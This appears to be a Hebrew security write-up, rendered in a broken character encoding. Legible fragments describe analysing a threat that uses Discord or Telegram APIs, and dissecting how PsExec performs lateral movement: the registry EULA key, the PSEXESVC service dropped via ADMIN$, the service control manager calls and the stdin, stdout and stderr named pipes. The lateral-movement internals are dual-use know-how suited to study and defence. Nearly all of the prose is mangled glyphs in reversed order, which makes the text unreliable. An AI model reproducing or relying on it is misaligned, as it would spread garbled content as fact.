˰ ˶˟˯ˢ ˫˰ ˣˮ˪˥˸ˢ ˶ˬ˞ˬˢ ˸˞ ˪˫˧˥ˮˣˬ ˫˧˧˯˧˯˟ ˫˪ˣ˰˟ ˸˶ˣ˷˵˸ˢ xˢ ˱ˣ˯˧˞˰ˡ˧ˬ ˪˰ ˢ˴˵ ˸ˣˡˬ˰Φ ˣˮ˟ˢ 

˷˧˷ ˣˮ˪ ˸˞ ˸˪ˣ˩˧ˢ ˥ˣ˪˷˪ ˸ˣ˰˴ˬ˞˟ API ˫˧ˬ˧ˬ˸ ˷˧˷ ˫˪ˣ˰˟ ˣˬ˩ Discord ΣTelegram ˣ˪˧˲˞ˣ Virus Total Φ 

ˣˮ˪˥˸ˢ ˟ˣ˸˩˪ ˡˣ˵Σ ˣˮ˟˸˩ ˡˣ˵ ˦ˣ˷˲ ˞˴ˣˬ˷ ˰ˡ˧ˬ ˪˰ ˸˩˶˰ˬˢ ˫˷ˣ ˣ˸ˣ˞ ˸ˤˣ˶˥ˬ˟ ˢ˲˧ ˣˮ˪˧˟˷˟ Φˣˮ˧˞˶ 

ˢˤ˷ ˡ˟ˣ˰ ˣˮˬˡ˵˸ˢˣ ˫˷ˬ ˶ˣ˴˧˪ ˦ˣ˟ ˫˶ˠ˪˦˪ Φ˧˶˥˞ ˣˮ˧˞˶˷ ˞ˣˢ˷ ˡ˟ˣ˰ ˣˮ˥˪˷ ˣ˧˪˞ ˸˞ ˰ˡ˧ˬ ˸˩˶˰ˬˢ 

ˣˮ˧˞˶ˣ ˞ˣˢ˷ ˡ˟˰ Φˣˮ˧˷˰ ˸˞ ˣ˸ˣ˞ ˶˟ˡˢ ˫˰ Discord ˣˮ˵ˡ˟ˣ ˸ˣ˰˴ˬ˞˟ Wireshark ˰ˡ˧ˬˢ˷ ˸ˬ˞˟ ˥˪˷ˮ 

˸˟ˣ˸˩˪ ˢˮˣ˩ˮˢ ˣˮ˸ˬ˧˞ˣ ˢ˸ˣ˞ ˸ˣ˰˴ˬ˞˟ Whois Φ˱ˣ˯˟˪ Σˣˮ˧˷˰ ˣ˸ˣ˞ ˶˟ˡ ˣ˰˴ˬ˞˟˸ˣ˟ˣˠ˸ ˸˲˯ˣˢ ˸ ˟-

Virus TotalΦ 

˪˩˟ ˡ˥˞ ˫˧˴˟˵ˢˬ ˣˮ˟˸˩˷ ˣˮ˧˞˶ ˸ˣ˞˴ˣ˸ˢ˷ ˣ˧ˢ ˭˧˟ о ˡ˰ р ˧˰ˣˮˬ ˧˦ˮ˞ ˯ˣ˶˧ˣ ˣ˞˴ˬ ˸˞ ˳˟ˣ˵ˢ ˪˷ .˧ˮˣˡˤ ˣˮ

 !˫˧˷˶ˬ ˧ˡJ 

˪˩ ˡˣ˵ˢ ˢ˧ˢ˧ ˟πGitHub ˧˪˷Υ https://github.com/eladyeshΦ 

˷˧ ˧˪ ˫ˠ ˠˣ˪˟Υ https://eladyesh.github.io Σˣ˟ ˧ˮ˞ ˫˯˶˲ˬ ˡˣ˰ ˫˧˶ˬ˞ˬ ˢ˪˞˩ ΣWriteups ˣ˩ˣ'Φ 

˱˯ˣˮ˟ˣ Σ˶˷˲˞ ˟ˣ˸˩˪ ˧˪ ˪˧˧ˬ˧˞˟: eladyesh24@gmail.com 

 

˸ˣˡˣ˸ 

˧˸˧˴˶ ˡ˧ˠˢ˪ ˢˡˣ˸ ˢ˟˶ ˪˵˧˲˞ ˪˞˧˦˯˵ ύcp77fk4rό ˪˰ ˢ˶ˤ˰ˢ ˸˩˧˶˰˟ ˶ˬ˞ˬˢΗ 

 

ˢ˧˲˶ˠˣ˧˪˟˧˟  

˭˪ˢ˪ ˸ˬ˧˷˶ ˸ˣ˶ˣ˵ˬˢ ˫ˢ˧˪˰ ˧˸˩ˬ˸˯ˢ ˸˰˟ ˸˟˧˸˩ ˶ˬ˞ˬˢ Σ˰ˣ˴˧˟ ˶˵˥ˬˢ ˸˟˧˸˩ˣ ˡˣ˵ˢΥ 

¶ https://core.telegram.orgκ 

¶ https://discord.com/developers/docs/reference 

¶ https://www.wireshark.orgκ 

¶ https://www.virustotal.com/gui/home/upload 

¶ https://websec.nl/en 

¶ https://who.isκ 

 

https://github.com/eladyesh
https://eladyesh.github.io/
mailto:eladyesh24@gmail.com
https://core.telegram.org/
https://discord.com/developers/docs/reference
https://www.wireshark.org/
https://www.virustotal.com/gui/home/upload
https://websec.nl/en
https://who.is/
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 ˪˰ ˸˰ˡ˪ ˫˸˧˴˶˷ ˢˬ ˪˩PsExec  ˫˸ˤ˰ˢ ˞˪ ˫˪ˣ˰ˬˣ

˪ˣ˞˷˪ 

˭ˣ˪˥˩ ˶ˬˣ˰ ˸˞ˬ 

 

ˢˬˡ˵ˢ 

Psexec ˞ˣˢ ˡ˥˞ ˫˧˪˩ˢ ˫˧˵ˤ˥ˢ ˫˧˰ˣˡ˧ˢˣ ˸˧˟ˬ ˶˴ˣ˧ˢ ˪˷ Sysinternals Φ˭ˣ˶˵˰˩ Σˣ˸˶˦ˬ ˸˧ˬ˧˦˧ˠ˪ˢ ˞˧ˢ 

˶˷˲˞˪ ˪ˣˢ˧ˮ ˪˷ ˸ˣˡˬ˰ Windows ˞˪˪ ˨˶ˣ˴ ˢ˷˧ˠ˟ ˸˧ˤ˧˲ ˢˡˬ˰˪ Φ˧˪˩ˢ ˶˷˲˞ˬ ˸ˣ˶˟˥˸ˢ ˸˵˥ˣ˶ˬ 

˸˴˶ˢˣ ˡˣ˵ ˪˰ ˸ˮˣ˩ˬ ˡ˰˧ˢ Φ˧˲˵ˣ˸ ˶˟˧˧˯ ˫˧˸˧˰˪ ˸ˣ˟˶ ˫˧˪˴ˮˬ ˸˞ ˧˪˩ˢ ˪˰ ˸ˮˬ ˰˴˟˪ lateral movement 

˨˩˟ˣ ˦˷˲˸ˢ˪ ˸ˣˡˬ˰˪ ˸ˣ˲˯ˣˮ ˸˷˶˟Φ ˫˧˶˵ˣ˥˩ Σ˟ˣ˷˥ ˭˧˟ˢ˪ ˨˧˞ ˡ˟ˣ˰ ˧˪˩ˢ ˪˰ ˸ˮˬ ˪˩ˣˮ˷ ˸ˣˢˤ˪ ˷ˣˬ˧˷ 

ˣ˪˷ ˸ˣ˸˷˶˟ Φ˶ˬ˞ˬ˟ ˢˤ ˶˧˟˯˞ ˨˧˞ ˪˰ˣ˲ ˧˪˩ˢ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢΦ 

 

˸˧˯˧˯˟ ˢˬˠˡˢ 

˨˶ˣ˴˪ ˸ˣ˥ˣˮˢ, ˶˧ˡˠ˞ ˸˞ ˸ˡˬ˰ ˶ˣ˵ˬˢ ύˢ˴˧˶ˬ˷ ˸˞ sπPsExec όπ˩Client ˸˞ˣ ˢˡˬ˰ˢ ˸˵˥ˣ˶ˬˢ ˢ˧˪˞ 

ˣˮ˥ˮ˞ ˫˧ˮˣ˲ ˸ˣ˰˴ˬ˞˟ PsExec ˪˰ ˸ˮˬ ˳˧˶ˢ˪ ˸ˡˣ˵˲ ˩πServerΦ ˸˴˶ˢ ˧˪˩ˢ ˞˧ˢ ˧l ˢ˦ˣ˷˲ ˸˰˴˟˸ˬˣ 

˭˲ˣ˞˟ ˞˟ˢΥ 

Psexec.exe \ \ remote server <executable/action > 

ˢ˞˶ˮ ˢˬˠˣˡΥ 

 

˭˩˟ˣ Σ˶˷˲˞ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ ˧˸˴˶ˢ˷ ˸˞ PsExec ˪˰ ˸˟ˣ˸˩ˢ мфнΦмсуΦмтΦмоп ˧˸˶˥˟ˣ ˥ˣ˸˲˪ ˸˞ 

ˢ˧˴˵˧˪˲˞ˢ cmd Φ˶˥˞˪ ˭˩ˬ ˧˸˴˶ˢ ˸˞ ˢˡˣ˵˲ˢ whoami ˭˸˧ˮˣ ˸ˣ˞˶˪ ˸˰˩˷ ˣˮ˪˟˧˵ ˸˞ ˫˷ ˷ˬ˸˷ˬˢ ˪˰ 

πsServerΦ 
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π˪PsExec ˷˧ ˭ˣˬˢ ˫˧˶˦ˬ˶˲ ˫˧˪ˣ˩˧˷ ˰˧˲˷ˢ˪ ˪˰ ˢ˴˧˶ˢ Φ˶˟˯ˢ ˪˰ ˪˩ ˫˧˶˦ˬ˶˲ˢ ˫˧ˮˣ˷ˢ ˷˧˷ ˪πPsExec 

ˣ˪˩ˣ˸ ˞ˣ˴ˬ˪ ˟πMSDN ύ˶ˣ˷˧˵ ˱ˡ˪ ˧˦ˮˣˣ˪˶ˢ ˱˶ˣ˴ˬ ˱ˣ˯˟Φό 

 

?˫˯˵ˢ ˢ˶ˣ˵ ˨˧˞ 

ˤ˞ ˣ˞ˣ˟ ˪˧˥˸ˮ Σ˵˪˥˟ ˢˤ ˶ˣ˵˥˞ ˸˞ ˳˟ˣ˵ˢ ˟πIda Φ˭˟ˣˬ˩ ˞˪˷ ˶ˣ˟˰˞ ˢ˧˴˵ˮˣ˲ ˢ˧˴˵ˮˣ˲ Σ˞˪˞ ˡ˵ˬ˸˞ ˵˶ 

˸ˣ˧˴˵ˮˣ˲˟ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˪˧˰˲˪ ˧˪˩ˢ Φ 

˸˵˧ˡ˟ ˸˯˶ˠ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ 

ˢ˪˧˥˸ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ ˫˞ ˸˯˶ˠ ˸˩˶˰ˬ ˢ˪˰˲ˢ ˢˬ˧˞˸ˬ ˢ˴˧˶˪ ˪˷ PsExec Φ˸˯˶ˠ ˸˩˶˰ˬ 

ˢ˪˰˲ˢˢ ˢ˩˧˶˴ ˸ˣ˧ˢ˪ Windows XP ˢ˪˰ˬˣ Φˢ˵˧ˡ˟ˢ ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˷ˣˬ˧˷ ˸˧˴˵ˮˣ˲˟ API 

˫˷˟ VerifyVersionInfoΥ 

 

ˢˡ˧ˬ˟ ˸˯˶ˠˣ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˞˪ ˢˬ˧˞˸ˬ Σ˯˲ˡˣ˸ ˢ˰ˡˣˢ ˨˯ˬ˪Υ 
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˧˞ˮ˸ ˷ˣˬ˧˷ˢ ˟πPsExec 

˳˟ˣ˵ˢ ˷˲˥ˬ ˸˞ ˥˸˲ˬˢ ϦHKEY_CURRENT_USER\Software\Sysinternals\PsExec Ϧπ˟Registry ˵ˡˣ˟ˣ 

˫˞ˢ ˫˧˧˵ value ˫˷˟ ϦEulaAccepted ΦϦπsEula ˯˥˧˧˸ˬ ˧˞ˮ˸˪ ˷ˣˬ˧˷ˢ ˫˧ˠ˴ˣˬ˷ ˷ˬ˸˷ˬ˪ ˢˡ˧ˬ˟ ˞˪ˣ 

ˣ˶˷ˣ˞ Φ˸ˣˤˣ˶˥ˬˢ ˸ˣ˪˧˩ˬˢ ˸˞ ˥˸˲ˬ ˨˶˰ˣ sπRegistry ˸ˣ˶˴ˣˮ ˭˲ˣ˞˟ ˧ˬ˞ˮ˧ˡ ύ˵˶ ˸˰˟ ˢ˴˧˶ό: 

 

ˢˡ˧ˬ˟ sxπData ˟πEulaAccepted ˢˣˣ˷ ˪πм ˢˤ ˶ˬˣ˞ ˷ˬ˸˷ˬˢ˷ ˶˟˩ ˶˷˧˞ ˸˞ ˧˞ˮ˸ ˷ˣˬ˧˷ˢ ˭˧˞ˣ ˨˶ˣ˴ 

ˠ˧˴ˢ˪ ˫˸ˣ˞ ˟ˣ˷ Σл ˣ˰ˬ˷ˬ ˨˲ˢˢ Φ˶˥˞˪ ˶ˣ˷˧˞ ˷ˬ˸˷ˬˢ ˰˴˟˸ˬ ˧ˣˮ˧˷ ˨˶˰ˢ ˣ˸ˣ˞˟ ˭˲ˣ˞ˢ Υ 

 

˫˞ xʕ ˢ˴˧˶ˢ ˢˮˣ˷˞˶ˢ ˪˷ ˧˪˩ˢ ˪˰ ˢˡˬ˰ˢ ˨˶˰ˢ ˟πRegistry ˞˪ ˢ˧ˢ˧ ˫˧˧˵ Σ˶˥˞˪ ˸ˠ˴ˢ ˧˞ˮ˸ ˷ˣˬ˧˷ˢ 

˞ˣˢ ˶˴ˣˣ˧ ˫˰ ˨˶˰ˢ м x˞ л ˧ˣ˪˸ ˫˞ ˷ˬ˸˷ˬˢ ˶˷˧˞ ˸˞ ˧˞ˮ˸ ˷ˣˬ˧˷ˢΦ 

˨˩ˣ ˢˤ ˢ˞˶ˮ ˟πRegistryΥ 
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˫˞ ˷ˬ˸˷ˬˢ ˭˧˧ˡ˰ ˞˪ ˶˷˧˞ ˸˞ ˧˞ˮ˸ ˷ˣˬ˧˷ˢ ˳˲˵ˣ˧ ˨˯ˬ˪ ˭ˣ˪˥ˢ ˞˟ˢΥ 

 

˳ˣ˪˧˥ sπService 

 ˢˮ˧ˢ˶˪˧ˣ˲˯Υ PsExec ˭˧˵˸ˬ Service ˪˰ ˸ˮˣ˩ˬ ˡ˰˧ˢ ˢ)-Server( ΦπsService ˧˞˶˥˞ ˪˰ ˸˶ˣ˷˵˸ˢ ˭˧˟ 

˸ˣˡˬ˰ˢ Σ˸˴˶ˢ ˸ˣˡˣ˵˲ˢ ˸˶˟˰ˢˣ ˦˪˲ˢ ˢ˶ˤ˥ ˪πClientΦ sπService ˶ˬ˷ˮ ˟˞˷ˬ˩ ˨ˣ˸˟ ˳˟ˣ˵ˢ Φ˳ˣ˪˧˥ 

˟˞˷ˬˢ ˰˴˟˸ˬ ˢ˶ˣ˴˟ ˸˧˯˞˪˵ Σ˰˴˟˸ˬ ˷ˣ˲˧˥ ˪˷ ˫˷ ˟˞˷ˬˢ ύˢ˶˵ˬ˟ ˢˤˢ BINRES όˣ˴ˣ˪˧˥ˣ ˭ˣ˶˩˧ˤ˪ 

˸ˣ˰˴ˬ˞˟ ˸ˣ˧˴˵ˮˣ˲ˢ ΥFindResource ΣLoadResource ΣSizeOfResource xπLockResourceΦ 

˭˸˧ˮ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ ˶˥˞˪˷ ˳ˣ˪˧˥ ˟˞˷ˬˢ ˭ˣ˶˩˧ˤ˪ ˸˰˴˟˸ˬ ˢ˵˸˰ˢ ˣ˪˷ ˱ˣ˸˧˷˪ sπϷADMIN ˪˷ sπ

Server Φ˱ˣ˸˧˷ sπϷADMIN ˪˧˟ˣˬ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˟˧˸ˮ˪ ΥC:\Windows\System32 Φ˫˞ ˪˩˸˯ˮ ˟πResource 

Hacker ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˭˩ˣ˸ˢ ˪˷ ˟˞˷ˬˢ BINRES ˞ˣˢ ˳˟ˣ˵ ˢ˴˶ˢ ˫˷˟ Psexesvc.exe ˞ˣˢ˷ ˭˟ˣˬ˩ sπ

Service ˶˟ˣˡˬˢΥ 
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˟ˣπResource HackerΥ 

 

˸ˮ˵˸ˢ ˸˪˰˲ˢˣ sπService 

˶˥˞˪ ˳˟ˣ˵ˢ˷ ˪˷ sπService ˵˸˰ˣˢ ˸˶˷˪ Σ˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˶˧ˡˠˢ˪ ˸˞ ˳˟ˣ˵ˢ ˩πService ˳˧˶ˢ˪ˣ ˣ˸ˣ˞Υ 

 

˸˰˴˟˸ˬ ˢ˥˧˸˲ ˪˷ sπSCManager ˪˰ sπServer ΦπsSCManager ˧˞˶˥˞ ˪˰ ˪ˣˢ˧ˮ sπServiceπ˫˧ ˸˩˶˰ˬ˟ 

ύ˪˷ˬ˪ ˭˧˵˸ˢ˪ Σ˪˧˥˸ˢ˪κ˵˧˯˲ˢ˪ Service ˪˩ˣ ˞˴ˣ˧ˢ ˢˤ˟ Φό˭˩˪ ˪˰ ˸ˮˬ ˭˧˵˸ˢ˪ Service ˪˰ ˢˡˬ˰ ˸˵˥ˣ˶ˬ 

˨˶˦˴ˮ ˢ˷˧ˠ ˪πSCManager ˢ˪˷ Φ 

ˢ˷˧ˠˢ ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ˢ OpenSCManagerW ύ˸˶˴ˣ˧ˢ ˸˞ ˸˶ˣ˷˵˸ˢ ˸ˣ˰˴ˬ˞˟ RPC Σ˶˟˯ˣ˧ 

˨˷ˬˢ˟ Φό˸˪˟˵ˬˢ ˶˦ˬ˶˲˩ ˸˞ ˫˷ ˢˡˬ˰ˢ ˢ˧˪˰ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˥ˣ˸˲˪ ˸˞ sπSCManager Φ 
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˨˷ˬˢ˟ ˢ˞˶ˮ ˸˞ ˢ˶ˡˠˢˢ ˢˬ˴˰ ˪˷ ˸ˣ˶˧˷ˢΥ 

 

ˢˮˣˬ˸˟ ˭˸˧ˮ ˸ˣ˞˶˪ ˟˧˸ˮˢ˷ ˪˷ ˸ˣ˶˧˷ˢ ˞ˣˢ PSEXESVC.exe ˣ˸ˣ˞ ˣˮ˴˪˥ ˣˮ˶˟˰ˢˣ ˪πServer ˫ˡˣ˵ ˭˩˪ Φπs

StartType ˶ˡˠˣˢ˷ ˸ˣ˶˧˷˪ ˣˮ˪˷ ˞ˣˢ ΥSERVICE_DEMEND_START Σˢˮˣˣ˩ˢ ˞˧ˢ ˸ˣ˶˧˷ˢ˷ ˞˪ ˪˧˥˸ˬ 

˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞Φ 

˶˥˞˪ ˭˩ˬ ˭˸˧ˮ ˸ˣ˞˶˪ ˸ˣ˶˧˷ˢ˷ ˭˩˞ ˪˰˲ˣˬ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ˢ StartServiceW Φ˭˲ˣ˞˟ ˧˪˪˩ ˪˩ ˨˧˪ˢ˸ˢ 

˪˷ ˸ˮ˵˸ˢ sπService ˰˴˟˸ˬ ˟πRPC ύ˵ˬ˰˸ˮ ˭˲˟ ˧˸˶ˣ˷˵˸ˢ ˶˸ˣ˧ ˢ˟˥˶ˢ˟ ˨˷ˬˢ˟Φό 

 

˸˶˧˴˧ Named Pipes 

Named Pipes π ˭˲ˣ˞˟ ˧ˮ˦˷˲ Σ˞˧ˢ ˸˶ˣ˴ ˸˶ˣ˷˵˸ ˸˶˷˲˞ˬˢ ˫˧˩˧˪ˢ˸˪ ˣ˸ˣ˞˟ ˟˷˥ˬ Σ˫˧˩˧˪ˢ˸˪ˣ 

˫˧˟˷˥ˬ˟ ˫˧ˮˣ˷ ˶˷˵˸˪ ˫ˢ˧ˮ˧˟ Φ˸˶˟˰ˢ ˰ˡ˧ˬˢ ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˢ˞˧˶˵ x˞ ˢ˟˧˸˩ ˪πNamed Pipe 

˧˲˧˴˲˯ ύ˷ˬˬ ˣˬ˩ ˢ˟˧˸˩ x˞ ˢ˞˧˶˵ ˪˷ ˳˟ˣ˵ Φόˢˬˠˣˡ˪ Σ˥˧ˮˮ ˨˧˪ˢ˸˷ A ˟˸˩ ˰ˡ˧ˬ ˪πNamed Pipe ˫˷˟ 

Computer1\pipe\MyPipeξξ ˨˧˪ˢ˸ B ˪˩ˣ˧ ˞ˣ˶˵˪ ˸˞ ˰ˡ˧ˬˢ ˟ˣ˸˩ˢ ˟πpipe ˷ˬ˸˷ˢ˪ˣ x˟ ˣˮˣ˴˶˩ Φ˫ˠ ˟π

PsExec ˸˶ˣ˷˵˸ˢ ˭˧˟ sπClient ˪πServer ˸˯˯ˣ˟ˬ ˪˰ Named PipesΦ 

π˟windows ˢ˷˧ˠ ˪πpipeπ˫˧ ˸˰˴˟˸ˬ ˵ˣ˧ˡ˧˟ ˣ˸ˣ˞˟ ˭˲ˣ˞ˢ ˣˬ˩ ˫˧˴˟˵˪ Φˢ˥˧˸˲ Σˢ˞˧˶˵ ˢ˟˧˸˩ˣ ˪πNamed 

Pipe ˢ˧ˢ˸ ˸ˣ˰˴ˬ˞˟ ˸ˣ˧˴˵ˮˣ˲ˢ ΥReadFile, CreateFile xπWriteFile ˫˰ ˟˧˸ˮˢ ˪πNamed Pipe ˣ˧˪˰ 

˰˴˟˸˸ ˢ˪ˣ˰˲ˢΦ 

˪˰ ˸ˮˬ ˶ˣ˴˧˪ pipe sπClient ˨˧˶˴ ˶˟˥˸ˢ˪ ˱ˣ˸˧˷˪ sπϷIPC ˪˷ ˸˶˷ˢ ύˢ˶˴˵˟ Σ˱ˣ˸˧˷ sπϷIPC Σ˧˷˞˶ 

˸ˣ˟˧˸ ˪˷ Inter-Process Communication Σ˞ˣˢ ˱ˣ˸˧˷ ˡ˥ˣ˧ˬ ˶˷˲˞ˬ˷ ˫˧˟˷˥ˬ˪ ˶˷˵˸˪ ˢˤ ˫˰ ˢˤ 

˸˷˶˟ Φ 
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˪˰ ˸ˮˬ ˶ˣ˴˧˪ pipeπ˫˧ ˨˶˦˴ˮ ˢ˷˧ˠ ˱ˣ˸˧˷˪ ˢˤ Φό˸ˣ˶˟˥˸ˢˢ ˱ˣ˸˧˷˪ ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ˢ 

WNetConnection2WΥ 

 

˶˥˞˪ ˢ˷πClient ˥˧˪˴ˢ ˶˟˥˸ˢ˪ ˱ˣ˸˧˷˪ sπϷIPC Σ˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˶ˣ˴˧˪ ˸˞ sπNamed Pipes ˷ˬ˸˷ˢ˪ˣ 

˫ˢ˟ ˧ˡ˩ ˶˧˟˰ˢ˪ ˰ˡ˧ˬ ˭˧˟ sπClient ˪πServerΦ sπNamed Pipe ˭ˣ˷˞˶ˢ ˶˴ˣˮ˷ ˞ˣˢ pipe ˫˷˟ 

SERVER_IP\pipe\PSEXESVCξξΥ 

 

ˣˡ˧˵˲˸ ˪˷ sπpipe ˮˢϦ˪ ˞ˣˢ ˪ˢˮ˪ ˸˞ ˸ˣ˶˧˷ˢ ˶˴ˣˮ˷ ˪˰ sπServer Σˠˣ˞ˡ˪ ˸˴˶ˢ˪ ˸ˣˡˣ˵˲ˢ ˸˟˧˟˯ˣ 

ˢ˴˧˶ˢ ˪˰ sπServer Φ 
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ˡ˟˪ˬ sπpipe ˮˢϦ˪ ˫˧˶˴ˣˮ ˡˣ˰ о pipeπ˫˧ ˫˧˲˯ˣˮ ˶ˣ˟˰ stdin,stdout xπstderrΥ 

 

˧˲˩ ˶˟˩˷ ˫˸˵˲˯ˢ ˷˥ˮ˪ Σπspipeπ˫˧ ˣ˪˞ˢ ˣ˧ˢ˧ ˫˧˞˶˥˞ ˪˰ ˸˪˟˵ ˦˪˵ˢ ˢˬπClient ˸˶ˤ˥ˢˣ ˦˪˲ˢ 

˸ˣ˞˧ˠ˷ˢˣ ˪˞ sπconsole ˞˴ˬˮ˷ ˫ˠ ˞ˣˢ ˟πClientΦ ˢˮˣˬ˸˟ ˢ˪˰ˬ ˪˩ˣˮ ˸ˣ˞˶˪ ˢˬˠˣˡ ˸˶˧˴˧˪ pipe ˶ˣ˟˰ 

stdin Φπ˪pipeπ˫˧ ˣ˪˞ ˷˧ ˦ˬ˶ˣ˲ ˰ˣ˟˵ ˞ˣˢˣΥ 

\ \ <server_ip >\ pipe \ PSEXESVC -  <client_hostname > -  <pid > -  stdin/out/err  

˸˧ˮ˟˸ˢ ˣˤˢ ˢ˪ˣ˩˧ ˶ˣˤ˰˪ ˣˮ˪ ˧ˣˢ˧ˤ˟ ˸˴˶ˢ PsExec ˸˷˶˟ Φ˶˟ˡˮ ˪˰ ˨˩ ˨˷ˬˢ˟Φ 

˭˲ˣ˞˟ ˢˬˣˡ ˫˧˶˴ˣˮ ˧ˮ˷ sπpipeπ˫˧ ˫˧˲˯ˣˮˢΣ stdout xπstderrΦ ˶˥˞˪ ˢ˷πpipeπ˫˧ ˫˧ˮ˩ˣˬ ˷ˣˬ˧˷˪ Σ˫˧˶˴ˣˮ 

ˢ˷ˣ˪˷ threadπ˫˧ ˫˧˴˧˶ˬˢ ˷ˣ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˸ˣˮˣ˷ Φ˪˩ ˢ˧˴˵ˮˣ˲ ˸˧˞˶˥˞ ˡˡˣˬ˸ˢ˪ ˫˰ stdin,stdout xπ

stderrύ Φˢ˞˶ˮ ˢˬˠˣˡ ˢ˧˴˵ˮˣ˲˪ ˣˤ˩ ˵˪˥˟ ˞˟ˢ ˶˟ˡ˧˷ ˪˰ ˢˮ˲˴ˢˢόΥ 

 

 

 

 

˶˥˞˪ ˪˩˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣˮ˩ˣˬ ˢ˪ˣ˰˲˪ Σˢˮ˸˷˧ ˣˮ˪ ˶ˣ˞˧˸ˢ ˪˷ sπconsole ˨˩ˣ ˪˩ˣˮ ˸˰ˡ˪ ˣˮ˶˟˥˸ˢ˷ ˸˶˷˪ 

ˢ˥˪˴ˢ˟Υ 

 
































































